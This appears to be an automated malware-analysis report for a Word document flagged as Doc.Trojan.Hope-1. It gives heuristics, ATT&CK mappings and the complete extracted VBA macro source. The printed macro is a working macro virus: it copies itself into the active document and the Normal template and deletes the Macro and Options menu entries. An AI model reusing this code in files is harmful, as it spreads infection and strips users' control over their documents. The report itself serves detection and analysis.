MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a VBA macro that executes upon opening. The macro overwrites the current document and the Normal template with its own code, as indicated by the `AddFromString MC` calls and `ActiveDocument.SaveAs` command. This behavior suggests an attempt to establish persistence or propagate the malicious macro. The ClamAV detection of 'Doc.Trojan.Hope-1' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Hope-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hope-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1670 bytes |
SHA-256: ff3b59dd731b5d41596f4fcd99087c66051d2a2fd6001ca88c3051ca880f45c9 |
|||
|
Detection
ClamAV:
Doc.Trojan.Hope-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
End Sub
Set prevDocument = ActiveDocument
Set nextDocument = NormalTemplate
Private Sub Document_Close(): On Error Resume Next
'in time cry the hollow words to sing with false disguise smothered
Set prevDocument = NormalTemplate
Set nextDocument = newDocument
CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete
'to know anymore life shifts up and down everybody knows it's wrong
Set CM = MacroContainer.VBProject.VBComponents.Item(1).codemodule
'why don't you care? now do it seem fair? it's not in the rhyme or
Set Ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule
'reason so it goes with every season crawl to top fall through
Set nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule
'bottom first hand love is really rotten slice of life find what's
MC = CM.Lines(1, CM.CountOfLines)
'plenty inch towards a sanctuary light with me inside the womb i
Ad.deletelines 1, Ad.CountOfLines: Ad.AddFromString MC
'know everyone everybody knows it's me it's my voice, my voice
nt.deletelines 1, nt.CountOfLines: nt.AddFromString MC
'cries out obscenity sightless eye regard my past sometimes it
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'should i just don't want to know anymore.
End Sub
'NoHope~By~Lys~KovicK Lyrics From Smothered Hope(Skinny Puppy)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.